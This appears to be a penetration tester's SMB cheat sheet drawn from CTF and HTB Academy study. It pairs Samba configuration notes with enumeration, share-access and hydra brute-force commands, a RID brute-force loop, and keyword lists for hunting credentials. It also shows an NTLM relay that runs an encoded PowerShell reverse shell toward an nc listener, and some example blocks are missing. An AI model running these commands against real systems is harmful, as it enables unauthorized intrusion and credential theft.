SMB
Last updated
Last updated
Source CTF and HTB Academy
Usually on ports 137, 138, 139, 445
is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network. With the free software project Samba, there is also a solution that enables the use of SMB in Linux and Unix distributions and thus cross-platform communication via SMB. Access rights are defined by Access Control Lists (ACL). They can be controlled in a fine-grained manner based on attributes such as execute, read, and full access for individual users or user groups. The ACLs are defined based on the shares and therefore do not correspond to the rights assigned locally on the server.
Samba implements the network protocol. CIFS is a "dialect" of SMB. CIFS is the extension of the SMB protocol. So when we pass SMB commands over Samba to an older NetBIOS service, it usually connects to the Samba server over TCP ports 137, 138, 139, but CIFS uses TCP port 445 only. With version 3, the Samba server gained the ability to be a full member of an Active Directory domain. With version 4, Samba even provides an Active Directory domain controller. It contains several so-called daemons for this purpose - which are Unix background programs. The SMB server daemon (smbd) belonging to Samba provides the first two functionalities, while the NetBIOS message block daemon (nmbd) implements the last two functionalities. The SMB service controls these two background programs.
cat /etc/samba/smb.conf | grep -v "#\|\;" see default configuration
[sharename]
The name of the network share.
workgroup = WORKGROUP/DOMAIN
Workgroup that will appear when clients query.
path = /path/here/
The directory to which user is to be given access.
server string = STRING
The string that will show up when a connection is initiated.
unix password sync = yes
Synchronize the UNIX password with the SMB password?
usershare allow guests = yes
Allow non-authenticated users to access defined shared?
map to guest = bad user
What to do when a user login request doesn't match a valid UNIX user?
browseable = yes
Should this share be shown in the list of available shares?
guest ok = yes
Allow connecting to the service without using a password?
read only = yes
Allow users to read files only?
create mask = 0700
What permissions need to be set for newly created files?
browseable = yes
Allow listing available shares in the current share?
read only = no
Forbid the creation and modification of files?
writable = yes
Allow users to create and modify files?
guest ok = yes
Allow connecting to the service without using a password?
enable privileges = yes
Honor privileges assigned to specific SID?
create mask = 0777
What permissions must be assigned to the newly created files?
directory mask = 0777
What permissions must be assigned to the newly created directories?
logon script = script.sh
What script needs to be executed on the user's login?
magic script = script.sh
Which script should be executed when the script gets closed?
magic output = script.out
Where the output of the magic script needs to be stored?
With the GUI
On Windows GUI, we can press [WINKEY] + [R] to open the Run dialog box and type the file share location, e.g.: \\IP\SHARENAME\.
We can either be able to access the file share right away or be prompted for a password.
The command net use connects a computer to or disconnects a computer from a shared resource or displays information about computer connections. We can connect to a file share with the following command and map its content to the drive letter n.
The last dir command is explained below:
dir
Application
n:
Directory or drive to search
/a-d
/a is the attribute and -d means not directories
/s
Displays files in a specified directory and all subdirectories
/b
Uses bare format (no heading information or summary)
The following command | find /c ":\\" process the output of dir n: /a-d /s /b to count how many files exist in the directory and subdirectories. You can use dir /? to see the full help.
With dir we can search for specific names in files such as:
cred
password
users
secrets
key
Common File Extensions for source code such as: .cs, .c, .go, .java, .php, .asp, .aspx, .html.
Note with findstr it will search within the files with dir it will search in the file names.
Examples
PSCredential Object
GCI In PowerShell, we can use the command Get-ChildItem or the short variant gci instead of the command dir
We can use the property -Include to find specific items from the directory specified by the Path parameter.
The Select-String cmdlet uses regular expression matching to search for text patterns in input strings and files. We can use Select-String similar to grep in UNIX or findstr.exe in Windows.
Examples
The credential file should look like this:
We can then use grep and find to search for specific strings.
sudo nmap 10.129.14.128 -sV -sC -p139,445
You can use dedicated smb scripts
Set smb to off in /etc/responder/Responder.conf
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Once the victim authenticates to our server, we poison the response and make it execute our command to obtain a reverse shell.
nc -lvnp 9001
rpcclient -U "" 10.129.14.128 or rpcclient -U'%' 10.10.110.17
srvinfo
Server information.
enumdomains
Enumerate all domains that are deployed in the network.
querydominfo
Provides domain, server, and user information of deployed domains.
netshareenumall
Enumerates all available shares.
netsharegetinfo <share>
Provides information about a specific share.
enumdomusers
Enumerates all domain users.
queryuser <RID>
Provides information about a specific user.
querygroup <RID>
Provides information about a specific group.
Sometimes not all commands are available.
for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done bruteforce userid
samrdump.py 10.129.14.128
msfconsole
use auxiliary/scanner/smb/smb_version
options
set RHOSTS IP-ADD (in my example instead of IP-ADD I will put 10.0.2.4)
We see the version of Samba so it is something that is going to be worth writing down in our notes.
Tool that will help us to list shares or see useful info
smbclient -L \\10.10.55.112 list shares
Connect anonymously smbclient --no-pass \\\\10.10.10.100\\SHARE or smbclient //10.10.10.134/SHARE
Use -N option in smbclient to suppress the password prompt
smbclient -U user \\\\10.129.42.197\\SHARENAME
smbmap -H 192.168.1.40
smbmap -H 10.129.14.128 -r notes browse the directory "notes"
smbmap -H 10.129.14.128 --download "notes\note.txt" Download a file
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt" Upload a file if we have write permission
enum4linux -a 10.10.10.100 output all sorts of info
enum4linux 10.10.11.45 -A -C
crackmapexec smb 10.129.14.128 --shares -u '' -p ''
hydra -L user.list -P password.list smb://10.129.42.197
smbclient --no-pass \\\\10.10.10.100\\SHARE connect to a share anonymously
You might find interesting files this way
Check out the win version to see if it is vulnerable to anything (eternal blue for example)
We can also try this command smbclient //10.10.10.134/SHARE
!<cmd> run local system command even if connected to smb (exanple: !ls)
get Download a file from smb
smbstatus check connections on smb server
Other example for findstr
To provide a username and password with Powershell, we need to create a . It offers a centralized way to manage usernames, passwords, and credentials.
Create a powershell reverse shell with
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlA[SNIPPET]'
run
smbclient -L IP-ADD (in my example instead of IP-ADD I will put 10.0.2.4)
